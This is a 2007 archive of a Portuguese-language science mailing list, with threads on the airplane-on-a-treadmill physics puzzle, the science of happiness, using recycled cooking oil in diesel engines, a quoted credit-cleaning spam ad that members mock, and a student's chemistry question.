dos rolamentos. Quanto menos atrito nos rolamentos, menos esforço.

Agora, o golpe final: SE os rolamentos da roda da mala tivessem ATRITO ZERO,
o que é uma impossibilidade prática, mas uma -ossibilidade teórica, a mala
NÃO SE MOVERIA MESMO QUE NÃO COLOCASSE A MÃO NELA!

Consegue entender isso, Renato? Se os rolamentos das rodas, da mala ou do
avião, tivessem atrito zero, a mala NÃO se movenria, não importa o que
acontece com a esteira. Ela poderia rolar para a direita, esquerda, parar,
começar de novo, acelerar, desacelerar, e a mala NÃO SE MOVERIA.

Assim, a esteira NÃO LEVA O AVIÃO PARA TRAS, pois a força que a esteira pode
aplciar no avião é apenas a permitida pelo, mínimo, atrito dos rolamentos
das rodas. Atrito que pode ser vencido por uma parcela INFIMA da força das
turbinas.

Homero




----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, March 04, 2007 12:10 AM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira


Ricardo:
[ José, imagino que vc tenha se enganado, neste caso. A turbina ou
hélices,
ao
empurrar o ar para trás, empurra o avião para frente, independente deste
ter
ou não asas. O avião se move para frente ao ligar a turbina, não para
cima. ]
..........................
Pois é, Ricardo, e a esteira leva o avião para trás na mesma velocidade!
Isso significa que o mesmo está praticamente parado em relação ao solo e
ao
ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas hélices
ou turbinas. Difícil, não?
[]s
JR
..........................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 27, 2007 11:25 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira

> From: "José Renato" <jrma@terra.com.br>
>> Homero:
>> [ Se ligar as hélices, ele se move, independente de uma esteira ou das
>> rodas. ]
>> .............................................
>> Sim, se as hélices tiverem a condição de criar um fluxo de ar nas asas
>> capaz
>> de sustentá-lo. Na proposta original parece-me que o avião possui
>> turbinas.
>> Nesse caso não há fluxo de ar nas asas, só nas turbinas.
>
> José, imagino que vc tenha se enganado, neste caso. A turbina ou
hélices,
> ao
> empurrar o ar para trás, empurra o avião para frente, independente deste
> ter
> ou não asas. O avião se move para frente ao ligar a turbina, não para
> cima.
>
> Um abraço,
>
> Ricardo



SUBJECT: Re: [ciencialist] A ciência da felicidade - José Renato
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/03/2007 00:22

Léo, sua indicação para obter a felicidade é a mesma que muita gente -
talvez por falta de opção - considera a melhor. Mas, afinal, para que
buscamos conhecimento? Para que servem as Ciências?

Colo abaixo um comentário que é o preâmbulo do artigo em assunto:
...............................................
Aos nosso filhos

José Renato



Sem qualquer dúvida, nunca a humanidade esteve tão bem estruturada em
tecnologia, conhecimento, poder e ciência. Desde cedo aprendemos a ler,
escrever, contar e um mundo de outras coisas que os atuais meios de
comunicação instantânea permitem. O volume de conhecimento, de tão vasto,
impõe especializações no ensino dos artífices e profissionais. O
conhecimento geral de Linguagem, Gramática, Aritmética, Matemática, Física,
Química, Biologia, História e Geografia já não é suficiente para tornar uma
pessoa apta a desenvolver uma atividade. As atividades fundamentais do
discípulo-cidadão na Grécia Antiga, tais como, Linguagens (prosa, oratória,
dialética, poesia, teatro...), Matemática, Ginástica, Música e Ciências
Naturais, se expandiram e até hoje muitas outras matérias ainda são
incluídas no currículo das escolas, colégios e faculdades. Surge então a
pergunta quase esquecida: para que servem as ciências?

"Ora!" - dirá o poeta distraído a contar estrelas - "Isso tudo serve para o
ser humano construir sua felicidade!" Será mesmo?

Pelo que vemos em nossa rotina, pode-se concluir que ser feliz é apenas um
detalhe, sem aparentemente muita importância.

A ênfase educacional é dada às disciplinas e às ciências que ensinam nossos
filhos a ser um elemento produtivo, um agente da produção, enlevado pela
promessa de se tornar uma pessoa de sucesso, em resumo: rico. Esse é o
padrão.

Hoje (03.12.2002), leio com surpresa notícia no jornal A TARDE, sob o título
Mudança na LDB - Lei de Diretrizes e Bases da Educação, a aprovação pela
Comissão de Educação do Senado da inclusão no currículo dos ensinos
fundamental e médio a disciplina Noções de Cidadania. Pelo menos, vão tentar
passar aos jovens noções do que seja cidadania.


O amigo listeiro Ivan Junqueira* - afeito a questões que passam
despercebidas ou que preferimos esquecer - propôs que seja incluída no
currículo educacional uma disciplina que ensine a ciência da felicidade.
Existirá um conhecimento específico para ser feliz? Como obter e manter a
felicidade? De algum modo a proposta dele nos fez calar, ou melhor, pensar.
Viveremos o dia em que será incluído no currículo educacional básico a
disciplina Noções de Felicidade?
.............................
Apaguei o restante do texto já postado aqui sob o título A ciência da
felicidade.
* Créditos para Ivan Junqueira e também para Marco Aurélio, ambos da lista
Acropolis.

O sábio não está condenado à infelicidade, pois não! Tem mais
responsabilidades, capacidades e, teoricamente, as melhores condições de
encontrar uma forma prazerosa de existir.

[]s

José Renato
...........................................

From: "Luiz Ferraz Netto" <leobarretos@>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 04, 2007 5:23 PM
Subject: Re: [ciencialist] A ciência da felicidade - José Renato


De: "José Renato"
A ciência da felicidade

> "O que é preciso para as pessoas viverem a felicidade?"

Comprar meia dúzia de livros de auto-ajuda, estudar Ciência e até atingirem
o nível 33, afastarem-se da listas científicas.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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SUBJECT: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/03/2007 07:06

José Renato,

Com atrito nos "rolamentos", e com o motor desligado (importante), o avião é
progressivamente puxado para trás, se a esteira estiver continuamente
rodando para trás. Começando com uma velocidade determinada, até chegar à
velocidade da esteira.

Veja bem, eu concordo que devemos considerar o atrito, é claro. Mas a
descrição da frase acima não corresponde em nada ao problema proposto. O
avião e a esteira começam parados, o avião liga seu motor, então, apenas se
ele começar a andar para frente, a esteira começara a andar para trás. E o
atrito, de no máximo 2 vezes o usual, não será mais forte que o empuxo do
motor. Então o avião andará para frente.

O problema só deixa 2 possibilidades, José Renato. Ou, o avião anda para
frente, e a esteira para trás, na mesma velocidade. Ou, o avião e a esteira
ficam parados. Para o avião e a esteira ficarem parados, o atrito estaria
acima de qualquer caso real razoável.

Este assunto está se estendendo a ponto de confundir mais do que esclarecer,
eu acho. Gosto da abordagem construtiva do Takata. Evita essas recorrentes
discussões dos mesmos pontos. Evita que andemos em círculos, como está
acontecendo agora.


Um abraço,

Ricardo

.


----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 05, 2007 11:36 PM
Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
decola SEM PROBLEMAS..:-)


> Olá, Homero! Como vc mesmo diz, não há atrito zero no rolamento das rodas.
> Assim sendo, a esteira transportará o avião na direção do movimento dela.
> Esse comentário já está no e-mail colado abaixo, do qual destaco o
> seguinte
> texto:
>
> [ Se as hélices ou turbinas estão paradas a esteira carrega o avião para
> trás. As rodas girarão um pouco apenas no caso da esteira partir com uma
> *aceleração* alta o suficiente para vencer o atrito dos rolamentos das
> rodas. Depois que a esteira "infinita" atinge a velocidade limite máxima e
> a
> *aceleração* cai a zero, as rodas do avião param de rodar e ele passa a
> ser
> transportado "paradão", se deslocando para trás com a mesma velocidade da
> esteira. ]
>
> []s
>
> JR
> ...................................
> From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, March 04, 2007 6:38 PM
> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
> esteira
>
>
>> Olá, Ricardo, dentro da questão proposta originalmente, faço comentários
>> após os seus:
>> ...........................
>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>> Sent: Sunday, March 04, 2007 4:09 PM
>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
>> esteira
>>
>>> Devo dizer que tive o mesmo raciocínio inicialmente, é verdade. É ao que
>>> somos levados a pensar a princípio. Mas como o sistema que empurra o
>>> avião
>>> para frente é independente da esteira (turbina, por exemplo), a esteira
>>> se
>>> mover para trás não empurra o avião para trás de forma determinante, mas
>>> sim, faz as rodas girarem mais rápido.
>> JR - É isso que o Takata está tentando há vários e-mails esclarecer a vc
>> e
>> a
>> Homero. Vamos ver se consigo: se as hélices ou turbinas estão paradas a
>> esteira carrega o avião para trás. As rodas girarão um pouco apenas no
>> caso
>> da esteira partir com uma *aceleração* alta o suficiente para vencer o
>> atrito dos rolamentos das rodas. Depois que a esteira "infinita" atinge a
>> velocidade limite máxima e a *aceleração* cai a zero, as rodas do avião
>> param de rodar e ele passa a ser transportado "paradão", se deslocando
>> para
>> trás com a mesma velocidade da esteira.
>> A seguir, vamos ver o que ocorre quando os motores do avião são
>> acionados.
>>
>>> Então, o avião anda para a frente, em relação ao chão, a esteira roda
>>> para
>>> trás, e as rodas giram mais rápido.
>> JR - Não, Ricardo, com os motores parados o avião não se desloca para
>> frente
>> a não ser uns poucos metros, caso a esteira parta com alta aceleração.
>> Ele
>> só passará a se deslocar para frente continuamente sobre a esteira quando
>> os
>> motores das hélices ou turbinas forem acionados e acelerados.
>> Ao atingir a mesma velocidade da esteira em sentido contrário, as rodas
>> estarão girando sobre a esteira como um carro no asfalto, mas o avião
>> estará
>> praticamente parado em relação ao solo ou ao ar que o rodeia, exceto em
>> relação ao fluxo de ar deslocado pelas hélices ou turbinas.
>> Adendo: no caso de avião com hélices pode ocorrer desse fluxo de ar acima
>> mencionado ser suficientemente forte para elevar o avião da esteira, o
>> que
>> poderia ser considerado um vôo, semelhante ao que ocorreria se o avião
>> fosse
>> "amarrado pela cauda" e acelerasse os motores.
>>>
>>> []s
>>> Ricardo
>>
>> []s
>> José Renato
>> ................................................
>
> ----- Original Message -----
> From: "Oraculo" <oraculo@atibaia.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, March 05, 2007 3:19 PM
> Subject: [ciencialist] P/ Renato, decola sem problemas sim - O avião
> decola
> SEM PROBLEMAS..:-)
>
>
> Olá Jose Renato
>
> Renato: "Pois é, Ricardo, e a esteira leva o avião para trás na mesma
> velocidade!
> Isso significa que o mesmo está praticamente parado em relação ao solo e
> ao
> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas hélices
> ou turbinas. Difícil, não?
> "
>
> NÃO LEVA!!! A esteira NÂO LEVA o avião apra trás, porque NÃO existe tração
> na esteira!!!! Sim, é difícil deixar a idéia de que rodas são a traçaõ do
> veículo, e isso está confundindo você. Renato, a esteira NÃO LEVA o avião
> apra tras, depois que ele liga as turbinas!
>
> Só levaria se as rodas estivessem, de alguma forma, PRESAS a esteira, e
> elas
> NÃO ESTÃO. Elas GIRAM justamente para EVITAR a trtação, são dispositivos
> de
> eliminação de tração, de atrito. Pense em uma mala na esteira do
> aeroporto.
>
> SE as rodas são fixas, não giram, ao rolar a esteira você terá de fazer
> GRANDE força para manter a mala no lugar, enquanto a esteira rola abaixo
> dela. Isso porque o atrito das rodas fixas com a superfície da esteira
> fornece tração para a esteira empurrar a mala.
>
> MAS, SE as rodas giram soltas, basta um PEQUENO esforço de sua mão, e a
> mala
> fica no luagar, com as rodas girando e a esteira rolando abaixo dela. O
> esforço que tem de fazer é pequeno, APENAS o suficiente para vencer o
> atrito
> dos rolamentos. Quanto menos atrito nos rolamentos, menos esforço.
>
> Agora, o golpe final: SE os rolamentos da roda da mala tivessem ATRITO
> ZERO,
> o que é uma impossibilidade prática, mas uma -ossibilidade teórica, a mala
> NÃO SE MOVERIA MESMO QUE NÃO COLOCASSE A MÃO NELA!
>
> Consegue entender isso, Renato? Se os rolamentos das rodas, da mala ou do
> avião, tivessem atrito zero, a mala NÃO se movenria, não importa o que
> acontece com a esteira. Ela poderia rolar para a direita, esquerda, parar,
> começar de novo, acelerar, desacelerar, e a mala NÃO SE MOVERIA.
>
> Assim, a esteira NÃO LEVA O AVIÃO PARA TRAS, pois a força que a esteira
> pode
> aplciar no avião é apenas a permitida pelo, mínimo, atrito dos rolamentos
> das rodas. Atrito que pode ser vencido por uma parcela INFIMA da força das
> turbinas.
>
> Homero
>
>
>
>
> ----- Original Message -----
> From: José Renato
> To: ciencialist@yahoogrupos.com.br
> Sent: Sunday, March 04, 2007 12:10 AM
> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
> esteira
>
>
> Ricardo:
> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
> hélices,
> ao
> empurrar o ar para trás, empurra o avião para frente, independente deste
> ter
> ou não asas. O avião se move para frente ao ligar a turbina, não para
> cima. ]
> ..........................
> Pois é, Ricardo, e a esteira leva o avião para trás na mesma velocidade!
> Isso significa que o mesmo está praticamente parado em relação ao solo e
> ao
> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
> hélices
> ou turbinas. Difícil, não?
> []s
> JR
> ..........................
>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, February 27, 2007 11:25 PM
> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
> esteira
>
> > From: "José Renato" <jrma@terra.com.br>
> >> Homero:
> >> [ Se ligar as hélices, ele se move, independente de uma esteira ou das
> >> rodas. ]
> >> .............................................
> >> Sim, se as hélices tiverem a condição de criar um fluxo de ar nas asas
> >> capaz
> >> de sustentá-lo. Na proposta original parece-me que o avião possui
> >> turbinas.
> >> Nesse caso não há fluxo de ar nas asas, só nas turbinas.
> >
> > José, imagino que vc tenha se enganado, neste caso. A turbina ou
> hélices,
> > ao
> > empurrar o ar para trás, empurra o avião para frente, independente
> deste
> > ter
> > ou não asas. O avião se move para frente ao ligar a turbina, não para
> > cima.
> >
> > Um abraço,
> >
> > Ricardo
>
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SUBJECT: Re: Remédios manipulados
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 07:30

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu

> Vc pode entrar com acao na justica para ter garantido seu direito.
> Varias pessoas entraram e ganharam o direito de ter seus medicamentos
> pagos pelo SUS. (Infelizmente leva anos.)

Entrei com requerimento junto ao SUS para tratar a minha doença de
crohn com Remicade. Se fosse ter que pagar... cada injeção de remicade
custa sete mil reais e, se não me engano, o tratamento compreende mais
de uma dezena de injeções. A burocracia, no entanto, é grande, e a
possibilidade de indeferimento maior ainda.

Enquanto isso, meu "crohn", em recidiva, permanece refratário ao
corticóide, ao metotrexato e à dapsona. Sim, tomo dapsona (remédio
manipulado, receitado mais para hanseníase) porque com o "crohn"
aparecem piodermas gangrenosos. Estou com um na batata da perna
direita, enorme, com dois meses de idade e ainda em fase de crescimento.

Se tiver que entrar com ação na justiça para garantir o tratamento
(que, realmente, leva anos), estou é lascado.

[]s
Manuel Bulcão





SUBJECT: Re: SUPER PROMOÇÃO DOS NOSSOS PRODUTOS PARA VOCE!!
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 07:43

Esses hackers promotores de venda entram nas listas de discussão (as
mais dinâmicas) também para pegar nossos e-mails. A minha caixa de
correio eletrônico amanhece já entupida com spams. O engraçado é que a
maioria, em inglês, é de propaganda de viagra. Pôrra, como é que eles
sabem?

Na verdade, mal sabem eles que tenho várias caixas de viagra com a data
de validade vencida. Não porque não precise, mas porque nem transo mais
por falta de libido. Devido à intoxicação com tantos remédios.

[]s
Manuel Bulcão



SUBJECT: Re: Reciclando o óleo de cozinha
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 07:59

Olá a todos

Há tempos eu mandei uma receita caseira de biodiesel aqui para o grupo
(http://br.groups.yahoo.com/group/ciencialist/message/42314).
Entretanto, julgo agora não mais ser necessário fazer biodiesel para
misturá-lo ao diesel, já vi relatos de que qualquer quantidade até 25%
de óleo usado qualificado (lavado e filtrado) pode ser misturado ao
diesel sem necessidade de nenhuma alteração no motor.

Um método caseiro que verifiquei para limpar o óleo de cozinha é o
seguinte:
1- coloque o óleo de cozinha usado numa garrafa PET transparente e
feche bem a tampa;
2- deixe a garrafa balançando ao sol;
3- deixe a garrafa em repouso à sombra;
4- drene com um sifão o óleo agora bastante limpo acima.

Inicie adicionando apenas 5% de óleo ao diesel e vá ganhando
confiança. Evite ultrapassar 25%. Para superar este limite, instale um
kit que irá basicamente aquecer o óleo a aproximadamente 80 graus.

Não existe lei neste mundo que irá impedir que eu use 20% de óleo
vegetal reciclado no meu carro. Detalhe, não tenho interesses
comerciais, então os poderosos me deixam em paz.

Outra dica:

1 - Inicie o funcionamento do carro com diesel.
2 - como o motor já aquecido, passe a usar o óleo vegetal puro;
3 - antes de desligar o motor, volte a usar o diesel.

Abraços

Tipoalgo




SUBJECT: Re: [ciencialist] Re: Reciclando o óleo de cozinha
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 08:33

Meu tio tem uma padaria e tambem eh agricultor.
Ele utiliza o oleo descartado na padaria para colocar em um trator velho.

Alertei para o perigo do oleo conter residuos de sal, o que traria
serios riscos de corrosao.
mas parece que o oleo nao tem tanto sal assim e que o trator funcionou
bem nas primeiras tentativas.
Nao conversei mais com ele pra saber se o motor ainda continua funcionando bem.

Alem do sal parece que tem o problema de acumulo rapido de residuos
dentro do motor, que formam placas que danificam as paredes do pistao.

Nao sei uma maneira otimizada e barata de fazer a purificacao desse oleo.
Dependendo do motor e do tempo de vida, pode valer a pena usar direto.

Ateh
Luis Brudna


On 3/5/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
> --- Em ciencialist@yahoogrupos.com.br, César A. K. Grossmann
> > Aí eu pergunto: tem como transformar em biodiesel?
>
> Vários agricultores estão queimando o óleo direto.
>
> Há tb um motor chamado Elko q funciona à base de óleo vegetal usado
> (filtrando-se apenas as impurezas).
>
> Pra transformar em biodiesel, normalmente tem como resíduo a
> glicerina. Aqui algumas receitas:
> http://journeytoforever.org/biodiesel_link.html#homebrews
>
> NOTA: Não é recomendável tentar em casa. Se ainda assim for tentar
> fazer, produza em quantidades mínimas (não mais q alguns ml) para
> evitar riscos de explosão. Não tenho certeza, mas fazer isso sem
> autorização dos órgãos competentes - não sei se fica a cargo do
> Ministério da Agricultura, da ANP ou outro órgão - deve ser ilegal.
>
> []s,
>
> Roberto Takata
>
>


SUBJECT: Re: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/03/2007 10:01

Os maus ELEMENTOS devem ser banidos ...........
........................
........................
da TABELA PERIÓDICA.
Sei não, mas isso parece que acabei de inventar uma piada química!
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "murilo filo" <avalanchedrive@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 5 de março de 2007 21:39
Assunto: Re: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF


Luiz Ferraz,
já que vc não entendeu, explico.
Pela linha da ironia e do ridículo, estou defendendo a lista e também
cotucando quem deixou passar.
Eu sei que é difícil, mas alguém deixou.
A propósito, obrigado por vc ter se dirigido à minha pessoa diretamente,
pela primeira vez em anos.
abr/M.


>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA,
>PROTESTO E CCF
>Date: Sun, 4 Mar 2007 17:13:57 -0300
>
>Murilo,
>
>Qual a finalidade científica da resposta da mensagem em questão?
>agradeço a explicação.
>
>[]'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>-----Mensagem Original-----
>De: "murilo filo" <avalanchedrive@hotmail.com>
>Para: <ciencialist@yahoogrupos.com.br>
>Enviada em: domingo, 4 de março de 2007 16:43
>Assunto: RE: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA,
>PROTESTO E CCF
>
>
>Atenção, lista!!!
>P/quem é ladrão e não conseguiu se eleger!
>Este não será também um tema meio ''desloucado'' aquí?
>abr.M.
>
>
> >From: "patricia2171_linda" <patricia2171_linda@yahoo.com.br>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO
>E
> >CCF
> >Date: Sun, 04 Mar 2007 19:16:38 -0000
> >
> >
> >LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF
> >
> >Dívidas de qualquer valor!
> >
> >Seja cartão de crédito, financeiras, bancos, telefonia fixa ou
> >móvel etc...
> >
> >R$100,00... R$5.000,00... R$100.000,00...
> >
> >Regularize já o seu nome!
> >
> >O FRETE É GRATIS!
> >
> >O material está em Word Nele é explicado passo a passo como
> >retirar seu nome de órgãos de restrição de crédito em apenas
> >10 dias úteis. Inclui todas as documentações necessárias para
> >que você possa dar entrada no Serasa, Spc e outros, cabendo a você
> >apenas colocar os seus dados e os dados da empresa que você deve.
> >
> >TIRE SEU NOME NO SERASA, SPC, e outros órgãos de restrições a
> >crédito, ANTES DE PAGAR A DÍVIDA.
> >
> >EM 10 DIAS ÚTEIS
> >
> >Tudo o que você precisa saber para estar habilitado a limpar o seu
> >nome e de outras pessoas e Empresas. Em 10 dias úteis, mesmo antes de
> >pagar a dívida, seja qualquer quantia.
> >
> > DE FORMA TOTALMENTE LEGAL
> >
> > LEMBRANDO QUE VC Ñ VAI PAGAR E NEM FRAUDAR NADA, SIMPLESMENTE VC VAI
> >USAR A PROPRIA LEI QUE ´´SUJOU`` SEU NOME PARA LIMPA-LO NOVAMENTE
> >
> > Super material completo com todas as informações e procedimentos
> >para cada caso, e modelos de documentos para você preencher e dar
> >entrada imediatamente nos locais indicados, e limpar seu nome em 10 dias
> >úteis (depois de baixado seu nome ele não voltará mais pelas
> >mesmas dividas, pois vc ira retirar seu nome de forma legal). Tudo para
> >você agir já.
> >
> >Com este material você pode limpar o seu nome, de seus amigos,
> >conhecidos ou até ganhar uma renda extra, isso mesmo o que as
> >empresas fazem para limpar teu nome, vc vai poder fazer, sem contratar
> >advogado algum, nem empresa alguma.
> >
> >SÓ DEPENDE DE VC! VALOR 19,99
> >
> >1)BANCOS CONVENIADOS:
> >
> >CAIXA ECONOMICA FEDERAL
> >
> >1) FORMAS DE ENVIO:
> >
> >E-MAIL = GRATIS
> >
> >1) FORMAS DE PAGAMENTO:
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> >TRANSFERENCIA ON LINE
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> >OU
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SUBJECT: O QUE É FAZER CIÊNCIA?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: emailferrari@yahoo.com.br
DATE: 06/03/2007 10:19

O QUE É FAZER CIÊNCIA? (por Ferrari)
http://www.ferrari.kit.net

Conta a história, que Issac Newton estava dormindo,
quando uma maça caiu sobre sua cabeça. Ele poderia ter
ignorado o incomodo e continuado seu cochilo. Mas não:
eureka! Newton acordou e viu a lei da gravidade! Se
esta história é real ou imaginária, não importa, ela é
perfeita para ilustrar o que significa “fazer
ciência”.

>>> Fazer ciência é ver a óbvio.

Fazer ciência é fazer o que Issac Newton fez: ver o
óbvio. Maças caem. Laranjas caem. Xícaras caem.
Meteoros caem. Todas os corpos caem. Não há nenhuma
novidade nisto. Estamos cansados de ver coisas caindo,
repetidas vezes, todos os dias, sempre. O que tem de
genial no óbvio?

>>> Óbvio é padrão repetitivo.

O genial na visão de Newton não foi ver a maça caindo,
isto ele já estava cansado de ver. O genial na visão
de Newton foi ver que este comportamento (a queda da
maça) era um padrão repetitivo (recorrente).

>>> Fazer ciência é ver a repetição.

Newton não viu a maça caindo, ele viu um padrão
repetitivo: a queda. Porém, para Newton ver este
comportamento repetitivo, Newton não usou os mesmos
olhos que ele usava para ver as coisas.

>>> Fazer ciência é ver com os olhos da dedução.

Maças caem. Laranjas caem. Xícaras caem. Meteoros
caem. Todas os corpos caem. Se tudo cai, logo, cair é
uma regra. Se repete igual, logo, segue uma regra
igual.

>>> Fazer ciência é deduzir regras.

Newton não criou o comportamento repetitivo da
natureza (a queda), mas ele foi o primeiro a deduzir
uma regra que explica este comportamento. Esta regra é
popularmente conhecida como “lei da gravidade”.

>>> Conhecimento cientifico é um livro de regras.

Ao criar a lei da gravidade, Newton contribuiu para
mais uma página deste livro de regras dos fenômenos
naturais que chamamos de ciência.

>>> Aplicar o conhecimento cientifico é prever o
futuro.

Se, segundo a regra, o futuro é a repetição do
passado. Aplicar uma regra nos dá uma “certeza” do
futuro.

>>> A regra otimiza o sucesso no objetivo.

Se a regra é que chove no verão e faz frio no inverno,
podemos usar esta regra, por exemplo, para obter
sucesso na agricultura da cana de açúcar.







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EXPERIMENTE XIXI COM TINTA
O novo livro de Marcelo Ferrari:
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SUBJECT: Re: [ciencialist] Fw: química
FROM: Aline Santos <haline_santos@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 10:31

Segue:
http://pt.wikipedia.org/wiki/Cal

http://pt.wikipedia.org/wiki/Di%C3%B3xido_de_enxofre

Aline

Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
Help químico.

quem ajuda?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Maria Gorete Silvério
Para: leobarretos@uol.com.br
Enviada em: quarta-feira, 28 de fevereiro de 2007 15:37
Assunto: química


Olá, me chamo Júlio estudo na 2ªsérie do ensino médio e estou elaborando um trabalho de pesquisa sobre 4 componentes químicos, são eles:
Ácido Sulfídrico, Hidróxido de Cálcio, Sal Brometo de Ag e dióxido de enxofre.
Alguns desses compostos são mais fáceis de encontrar pesquisas do que outros, no entanto, estou tendo dificuldades para adquirir informações sobre o Sal Brometo de Ag e o Hidróxido de Cálcio.
A minha pesquisa requer encontrar de cada componente, as ocorrências ( natural ou sintética), obtenções ( extração ou reação), propriedades (físicas, químicas, organolépticas e toxicológicas), aplicações (principais usos) e importâncias ( economia, ambiental, social, para o organismo humano).
Gostaria de saber se o senhor podería me ajudar com os quais estou tendo dificuldades para conseguir essas informações.
Se o Sr. puder me ajudar indicando alguns sites e/ou livros ficarei muito grato.
obrigado
Júlio César

Data de entrega do trabalho: 06/03/2007.




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SUBJECT: Re: [ciencialist] O QUE É FAZER CIÊNCIA?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <emailferrari@yahoo.com.br>
DATE: 06/03/2007 10:47

Oi Ferrari,

não encontrei esse artigo em sua página! Onde o escondeu?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <emailferrari@yahoo.com.br>
Enviada em: terça-feira, 6 de março de 2007 10:19
Assunto: [ciencialist] O QUE É FAZER CIÊNCIA?


O QUE É FAZER CIÊNCIA? (por Ferrari)
http://www.ferrari.kit.net

Conta a história, que Issac Newton estava dormindo,
quando uma maça caiu sobre sua cabeça. Ele poderia ter
ignorado o incomodo e continuado seu cochilo. Mas não:
eureka! Newton acordou e viu a lei da gravidade! Se
esta história é real ou imaginária, não importa, ela é
perfeita para ilustrar o que significa "fazer
ciência".

>>> Fazer ciência é ver a óbvio.

Fazer ciência é fazer o que Issac Newton fez: ver o
óbvio. Maças caem. Laranjas caem. Xícaras caem.
Meteoros caem. Todas os corpos caem. Não há nenhuma
novidade nisto. Estamos cansados de ver coisas caindo,
repetidas vezes, todos os dias, sempre. O que tem de
genial no óbvio?

>>> Óbvio é padrão repetitivo.

O genial na visão de Newton não foi ver a maça caindo,
isto ele já estava cansado de ver. O genial na visão
de Newton foi ver que este comportamento (a queda da
maça) era um padrão repetitivo (recorrente).

>>> Fazer ciência é ver a repetição.

Newton não viu a maça caindo, ele viu um padrão
repetitivo: a queda. Porém, para Newton ver este
comportamento repetitivo, Newton não usou os mesmos
olhos que ele usava para ver as coisas.

>>> Fazer ciência é ver com os olhos da dedução.

Maças caem. Laranjas caem. Xícaras caem. Meteoros
caem. Todas os corpos caem. Se tudo cai, logo, cair é
uma regra. Se repete igual, logo, segue uma regra
igual.

>>> Fazer ciência é deduzir regras.

Newton não criou o comportamento repetitivo da
natureza (a queda), mas ele foi o primeiro a deduzir
uma regra que explica este comportamento. Esta regra é
popularmente conhecida como "lei da gravidade".

>>> Conhecimento cientifico é um livro de regras.

Ao criar a lei da gravidade, Newton contribuiu para
mais uma página deste livro de regras dos fenômenos
naturais que chamamos de ciência.

>>> Aplicar o conhecimento cientifico é prever o
futuro.

Se, segundo a regra, o futuro é a repetição do
passado. Aplicar uma regra nos dá uma "certeza" do
futuro.

>>> A regra otimiza o sucesso no objetivo.

Se a regra é que chove no verão e faz frio no inverno,
podemos usar esta regra, por exemplo, para obter
sucesso na agricultura da cana de açúcar.







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SUBJECT: Sombra impossível?
